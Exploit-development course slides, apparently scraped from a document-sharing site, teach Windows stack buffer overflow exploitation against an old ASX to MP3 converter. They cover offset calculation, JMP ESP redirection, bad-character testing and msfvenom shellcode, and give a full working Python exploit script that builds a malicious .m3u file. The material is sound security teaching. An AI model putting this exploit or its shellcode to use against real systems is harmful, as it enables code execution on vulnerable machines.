210 - Windows Stack Smashing

Windows Stack Smashing
S e c t i o n 0 2 | M o d u l e 0 1
© Caendra Inc. 2019
All Rights Reserved
Table of Contents
MODULE 01 | WINDOWS STACK SMASHING
1.1 Windows Stack Overflow
1.2 Windows Basic Overflow Analysis
XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.2

Learning Objectives
By the end of this module, you should have a better

understanding of:
✓ How to deal with a basic buffer overflow on a Windows

system
✓ Analysis of a basic buffer overflow vulnerability in old
software

1.1
Windows Stack
Overflow

While advanced Windows exploitation greatly differs from

Linux, basic stack smashing is very similar.
However, Windows is a GUI environment that has GUI

debuggers, while on Linux, we mostly use command-line
tools when working with exploits.

Similarly to Linux, the key part is to identify program entry

points.
In this module, we will focus on the exploitation itself and

not on attack surface discovery.

Keep in mind that every input that the application parses

might lead to a vulnerability, especially:
• Form fields where text can be placed into
• Command line arguments
• Remote resources fetched by the application
• Files parsed by an application

The core of buffer overflow exploitation on Windows is the

same as it is on Linux. The stack will get overwritten with
lots of data; for example, this could be due to an
uncontrolled copy operation.
In the end, the overly large buffer overwrites the saved

return address, and upon returning from the current stack
frame to the previous (overwritten) one, the crash occurs as
EIP is overwritten with user data.
The most basic buffer overflows on Windows are called

vanilla EIP overwrites or direct EIP overwrites, where after
supplying enough amount of data the EIP instantly gets
overwritten with it.
Throughout this course, you will also learn other styles of

Windows stack overflow exploitation that involve indirect
EIP overwrite like Unicode overflows or SEH-based exploits.
We will focus on analyzing a practical example of Windows

basic stack overflow exploitation, using Windows XP SP1,
which is also available in the lab area.
If you are testing the exploits on a different system, like

Windows XP SP2, keep in mind that most system module
addresses will be different, and the exploits presented in
the course are likely to require some patching in order to
work there.
1.2
Windows Basic
Overflow Analysis

1.2 Windows Basic Overflow Analysis
In order to present stack overflow exploitation on Windows,

we will use the ASX to MP3 converter running on Windows
XP SP1.
You can download the application from the following link.

https://www.exploit-db.com/apps/f4da5b43ca4b035aae55dfa68daa67c9-
ASXtoMP3Converter.exe

1.2.1 Basic Overflow – Crashing the Application
One of the ways this software receives input is by parsing

.m3u files. The m3u format usually places links to online
media resources, and it does so one per line. While this
could be an interesting attack vector, especially for online
converters, let’s focus on our local example.
Let’s try to overflow the application’s memory by placing

one lengthy position on the m3u list. For easy creation of
the m3u files, let’s create a short python script.
This code snippet below writes an “exploit.m3u” file that

contains the string http://AAA....AAA.

Now, let’s run the python script. The “exploit.m3u” file will
appear.
We’ll then start the converter software – but do not open

the m3u file yet. The next step will be attaching the
debugger to the Converter.

Let’s start the

Immunity Debugger.
We’ll then go to File

→ Attach and find
the Converter on the
process list.

Upon attaching, the application is in a paused state; this

means that you are not able to operate on it as the
debugger prevents it from executing any code.
Simply press the Run button (or F9) to restore normal

execution of the application.

Finally, let’s drag and

drop the “exploit.m3u”
onto the software
window.

The application hangs, but when we go into the debugger,

a buffer overflow can be spotted.

Since A’s hex representation in ASCII is 0x41, we are sure

that it was our buffer that overwrote the EIP and made it
hold a value of 0x41414141 (AAAA). We know that the EIP
can be controlled, but it’s a long way to code execution.
Let’s start with figuring out how many characters are

exactly needed to overwrite the EIP.

1.2.2 Basic Overflow – Calculating the Offset
To do so, you can use the Metasploit pattern_create /

pattern_offset functionality, but since similar functionality
is already built into mona.py, let’s use this instead.
Simply type the following in the debugger console.
!mona pattern_create 18000

You will then receive the output in the debugger window.

As per the debugger’s warning, the pattern is truncated, and

it will not be usable if you copy it from this window. Instead,
it will be present in an unchanged form in the pattern.txt
file, which by default can be located in the Immunity
Debugger folder:
C:\Program Files\Immunity Inc\Immunity Debugger

Let’s paste the pattern into an exploit.
We’ll then re-create the m3u file.

The application should also be restarted. In this case, we

can do it from the debugger level for convenience. If you
click the “File” menu, the most recent application will be
displayed on the bottom.
Simply click on the Converter or press Ctrl + F2 to restart.

Remember to Run
the program after
that, as it will start
in a paused state.
If during the application loading an “Exception” occurs,

press Shift + F9 to go back to normal startup. Exceptions
will be explained in a later part of this course.
Drag and drop the newly created exploit m3u file onto the
converter and check in the debugger what happens.

We can use mona to retrieve the number of characters that

caused the program to crash. You can simply re-write the
EIP value of the command in order to let it calculate the
offset, as follows.

The pattern was found after 17417 bytes.
Let’s introduce this amount to the exploit, as follows.

Remember to recreate the exploit file.
Now, let’s restart the application within the debugger and

feed it with the latest m3u exploit file.

Perfect! We are overwriting the EIP with “BBBB”. What can

we do with it though?

1.2.3 Basic Overflow – Jumping to the Buffer
We can specify what the EIP address will be pointing to

(currently we used the invalid address BBBB). How can we
specify the address of some code we want to execute?

If we take a look at the stack at address 0x000d5c58, we

see our buffer consisting of “C” letters.
Can we use this address instead of B’s and make the

program execute the C-buffer?

Unfortunately, no.
The address of the stack contains a null byte. As a null byte

is treated as a string terminator, the application will most
likely stop to copy anything that occurs past the null. That
means that the C’s will not be copied and the application
will start executing some random code that originally
resided in that place (now it was overwritten with C’s).
However, when observing the registers, it seems that one of

them, the Stack Pointer (ESP), points to and contains the
address of our C-buffer.
The Assembly language offers several instructions that

might come in handy in such case.
If a register contains a memory address, we can redirect

the execution flow to this address by executing instructions
like:
• jmp REGISTER
• call REGISTER
• push REGISTER; ret

EXAMPLE
So, for example, if EDX is 0x11223344, and the

instruction currently executed is jmp EDX, then the
instruction executed after it will be the one that
starts at 0x11223344.

In the current case, we have the ESP holding the address of
a buffer that we control. Thus, if we execute JMP ESP, we
will start executing the C-buffer!
So, we need to find the address of a “Jump ESP”

instruction.
Executing the „JMP ESP” will make the program start

executing the code that is pointed by ESP. In this case, this
is data that we can control.
Mona makes it easy for us. Simply type:
!mona jmp -r ESP

The debugger might freeze for a moment, as the whole

memory of the process and all its dependent modules are
searched for suitable instructions. When it finishes, the
results will be available in a jmp.txt file in the Immunity
folder, or you can find it via the Immunity menu using View
-> Log.

You are free to choose any of the modules, as long as the

jump address does not start with 0. Also, be sure to select
the “jmp esp” instruction, as an equivalent one might not
work exactly in the same way.

Now, let’s check if this address works. First, let’s add it to

the exploit, remembering the endianness. Therefore, we
should write the address in reverse order, as follows.
0x55929d6e = “\x6e\x9d\x92\x55”

If we jump to the C-buffer, we need to find a way to stop the

execution right after the jump.
„C”, represented as 0x43 in ASCII, also happens to be a

valid opcode for INC EBX. If we jump to a chain of INC
EBX’s, they will be executed eventually leading to a crash.

To avoid such an issue after jumping to ESP, let’s put some

code there that will pause the execution and let us know
that everything works as intended.
The INT3 (Breakpoint) instruction will be perfect for such a

purpose. Its opcode is “\xcc”.

Let’s insert the breakpoint instruction just before the C-

buffer. We will also regenerate an exploit file and restart the
application within the debugger.

Unfortunately, we did not land in the buffer. The ESP points

to the C-buffer but not exactly at the beginning. We landed
somewhere within that buffer.
How can we figure out where are we now?

Below are some possible solutions to help us figure out

where we are:
1. Examine the crash again with pattern_create/offset and
calculate the offset for what is pointed by the ESP
(slow).
2. Since there is a lot of space, we can pad the beginning
of the C-buffer with NOPs before the breakpoint is
placed. This way, the program will execute NOPs and
then go straight to the breakpoint.
Choosing option two, let’s modify the exploit. We choose a

NOP number that is big enough to create a safe and large
NOP slide (50 in this case).

After regenerating the file, restarting the application under
the debugger and feeding the file to it, we see the following
in the debugger.
We successfully redirected the execution of the code to the

location of choice. Let’s see if we can place the shellcode
now.
1.2.4 Basic Overflow – Bad Characters
During a software crash, you might notice that your

shellcode, even though it was properly shipped to the
attacked software, does not work. After further
investigation, you might also notice that some of the bytes
sent in the buffer were changed. This is a common
situation that might be caused by the following factors:
• The copying function treats some non-standard
characters as a string terminator.
• The target application performs character modification.
For example, the underlying code might look like the

following.
process_user_data(){
tmp = user_input
sanitized_input = sanitize(tmp) //remove all non-printable characters
strcpy(application_memory, sanitized_input)
}

In such cases, the memory will be overwritten with a

different character set than the one supplied in the buffer.
Depending on which characters are being removed, this will
make exploitation a bit more difficult.
Character transformation can be omitted by transforming

the shellcode in a certain way. Shellcode transformation
can be achieved manually or automatically. Let’s do it
automatically this time.
When generating shellcode using the msfvenom tool, you

can use the “-b” parameter to specify bytes that should not
be used during shellcode generation.
Under the hood, when processing the shellcode, the

msfvenom generator will use a different instruction set that
will not contain opcodes corresponding to forbidden bytes.
As a side effect, you should expect such shellcode to be
significantly larger. The more characters that have to be
omitted, the larger the shellcode.
There are some well-known bad characters. The majority of text-

processing functions will treat them as string terminators or
separators, which in turn will cause any part of the buffer past those
characters to be cut off. Although you might encounter some non-
standard bad characters set, some of the common ones are listed
below:
• 0x00 – is a common string terminator.
• 0x0a, 0x0d – carriage returns, and line feeds might often be
treated as line terminators, especially in software that makes use
of HTTP or FTP protocols.
• 0xff – this byte is often interpreted as EOF (End Of File) .
1.2.4.1 Basic Overflow – Detecting Bad Characters
The easiest way to detect bad characters is to put a full

ASCII table within the buffer and then in the debugger view
if some of the bytes were removed or altered.
Often, the presence of a bad character might cause the

buffer to be truncated. You would then need to change the
exploit by removing the bad character from the buffer and
re-send it until all the bad characters are eliminated.
Let’s implement the ASCII table into the exploit buffer:
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")


After re-creating the exploit file and re-launching the

application, we again land at the breakpoint in the exploit
buffer.

If we look at the stack view,

the ASCII buffer is there.
After all the 90’s, we see a CC

byte, and then the others – 01,
02, 03, etc., with the last one
being 0x08. All others are
gone. As byte 0x09 is not
present, we can suspect that it
might be a bad character.
Let’s update the exploit by removing byte 0x09 from the

ASCII buffer. We’ll then repeat the operation because we
suspect that this byte is breaking the buffer because:
• The last byte that was not malformed was the byte
before it.
• This byte itself is malformed.
• All other bytes after it were cut off.

Unfortunately, this didn’t help.

There is a possibility that there
are more bad characters.
In such a situation, we could

be forced to verify the exploit
character by character, which
can be a very tedious process.
Despite the logical arguments that pointed to 0x09 being a

bad character, if the buffer is totally devastated like in this
particular case, we can first try to identify if there are some
other common bad character causing this mess.
As you progress with exploiting more software on Windows,

you will notice that 0x09 rarely causes such problems.
However, there are other characters in the current buffer
that do; check out slide 53 to review the list again.
1.2.4.2 Basic Overflow – Common Bad Characters
Since the m3u content is written line by line, and CR LF

bytes are line terminators, its obvious that they will break
the exploit (that is meant to reside in a single line).
Let’s restore 0x09 and remove CRLF, the 0x0a and 0x0d
bytes from the ASCII buffer. Then, we’ll generate a new file,
restart the application, reattach the debugger, and run the
exploit file.
1.2.4.2 Basic Overflow – Common Bad Characters
Now that’s what we wanted to see, a full ASCII buffer visible on

the stack. You can visually examine that no bytes are missing to
confirm that we identified all bad characters.

1.2.5 Basic Overflow – Implementing Shellcode
The last step will be replacing the breakpoint with real

shellcode. Let’s generate one using msfvenom. Make sure
to remember the bad characters.
msfvenom -p windows/exec cmd=calc.exe -b "\x00\x0a\x0d\x20" -f c

Here is the generated shellcode that was pasted in the

exploit.

After recreating the exploit file, we can see the calculator

being executed.

Let’s confirm that everything works correctly by loading

the exploit .m3u file on the application, without a debugger
being attached. The calculator will be spawned once
again.
The full exploit code can be seen on the next slide. Of

course, that is the code that generates the.m3u exploit
file. The file itself has to be opened by the vulnerable
software in the way shown in the previous slides.
buffer = "http://"
shellcode = ("\xda\xd7\xbd\x3e\x3b\xf9\x36\xd9\x74\x24\xf4\x58\x33\xc9\xb1"
"\x31\x31\x68\x18\x03\x68\x18\x83\xc0\x3a\xd9\x0c\xca\xaa\x9f"
"\xef\x33\x2a\xc0\x66\xd6\x1b\xc0\x1d\x92\x0b\xf0\x56\xf6\xa7"
"\x7b\x3a\xe3\x3c\x09\x93\x04\xf5\xa4\xc5\x2b\x06\x94\x36\x2d"
"\x84\xe7\x6a\x8d\xb5\x27\x7f\xcc\xf2\x5a\x72\x9c\xab\x11\x21"
"\x31\xd8\x6c\xfa\xba\x92\x61\x7a\x5e\x62\x83\xab\xf1\xf9\xda"
"\x6b\xf3\x2e\x57\x22\xeb\x33\x52\xfc\x80\x87\x28\xff\x40\xd6"
"\xd1\xac\xac\xd7\x23\xac\xe9\xdf\xdb\xdb\x03\x1c\x61\xdc\xd7"
"\x5f\xbd\x69\xcc\xc7\x36\xc9\x28\xf6\x9b\x8c\xbb\xf4\x50\xda"
"\xe4\x18\x66\x0f\x9f\x24\xe3\xae\x70\xad\xb7\x94\x54\xf6\x6c"
"\xb4\xcd\x52\xc2\xc9\x0e\x3d\xbb\x6f\x44\xd3\xa8\x1d\x07\xb9"
"\x2f\x93\x3d\x8f\x30\xab\x3d\xbf\x58\x9a\xb6\x50\x1e\x23\x1d"
"\x15\xd0\x69\x3c\x3f\x79\x34\xd4\x02\xe4\xc7\x02\x40\x11\x44"
"\xa7\x38\xe6\x54\xc2\x3d\xa2\xd2\x3e\x4f\xbb\xb6\x40\xfc\xbc"
"\x92\x22\x63\x2f\x7e\x8b\x06\xd7\xe5\xd3")
buffer += "A"*17417
buffer += "\x6e\x9d\x92\x55"
buffer += "\x90"*50
buffer += shellcode
buffer += "C"*(600-len(shellcode))
f = open("exploit.m3u", "w")
f.write(buffer)
f.close()

Hera Lab
Windows Basic Stack

Overflow
In this lab, you will practice
identifying and exploiting a
Windows stack overflow
vulnerability. You will also
learn how to utilize JMP ESP
to land in your payload.
*Labs are only available in Full or Elite Editions of the course. To access, go to the course in your members area and
click the labs drop-down in the appropriate module line or to the virtual labs tabs on the left navigation. To
upgrade, click LINK.
References

References
ASX to MP3 Converter
https://www.exploit-db.com/apps/f4da5b43ca4b035aae55dfa68daa67c9-
ASXtoMP3Converter.exe
ASX to MP3 3.1.3.7 - '.m3u' Local Buffer Overflow

https://www.exploit-db.com/exploits/42974

Labs
Windows Basic Stack Overflow
In this lab, you will practice identifying and exploiting a Windows stack
overflow vulnerability. You will also learn how to utilize JMP ESP to land
in your payload.
*Labs are only available in Full or Elite Editions of the course. To access, go to the course in your members area and click the labs drop-down
in the appropriate module line or to the virtual labs tabs on the left navigation. To upgrade, click LINK.

210 - Windows Stack Smashing

Uploaded by

Document Information

Copyright

Available Formats

Share this document

Share or Embed Document

Sharing Options

Did you find this document useful?

Is this content inappropriate?

Copyright:

Available Formats

210 - Windows Stack Smashing

Uploaded by

Copyright:

Available Formats

Windows Stack Smashing

MODULE 01 | WINDOWS STACK SMASHING

1.1 Windows Stack Overflow

1.2 Windows Basic Overflow Analysis

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.2

By the end of this module, you should have a better

✓ How to deal with a basic buffer overflow on a Windows

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.3

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.4

While advanced Windows exploitation greatly differs from

However, Windows is a GUI environment that has GUI

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.5

Similarly to Linux, the key part is to identify program entry

In this module, we will focus on the exploitation itself and

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.6

Keep in mind that every input that the application parses

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.7

The core of buffer overflow exploitation on Windows is the

In the end, the overly large buffer overwrites the saved

The most basic buffer overflows on Windows are called

Throughout this course, you will also learn other styles of

We will focus on analyzing a practical example of Windows

If you are testing the exploits on a different system, like

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.11

In order to present stack overflow exploitation on Windows,

You can download the application from the following link.

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.12

One of the ways this software receives input is by parsing

Let’s try to overflow the application’s memory by placing

This code snippet below writes an “exploit.m3u” file that

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.14

We’ll then start the converter software – but do not open

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.15

Let’s start the

We’ll then go to File

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.16

Upon attaching, the application is in a paused state; this

Simply press the Run button (or F9) to restore normal

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.17

Finally, let’s drag and

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.18

The application hangs, but when we go into the debugger,

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.19

Since A’s hex representation in ASCII is 0x41, we are sure

Let’s start with figuring out how many characters are

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.20

To do so, you can use the Metasploit pattern_create /

Simply type the following in the debugger console.

!mona pattern_create 18000

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.21

You will then receive the output in the debugger window.

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.22

As per the debugger’s warning, the pattern is truncated, and

C:\Program Files\Immunity Inc\Immunity Debugger

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.23

Let’s paste the pattern into an exploit.

We’ll then re-create the m3u file.

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.24

The application should also be restarted. In this case, we

Simply click on the Converter or press Ctrl + F2 to restart.

If during the application loading an “Exception” occurs,

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.26

We can use mona to retrieve the number of characters that

XDSv1: Section 2, Module 1 - Caendra Inc. © 2019 | p.27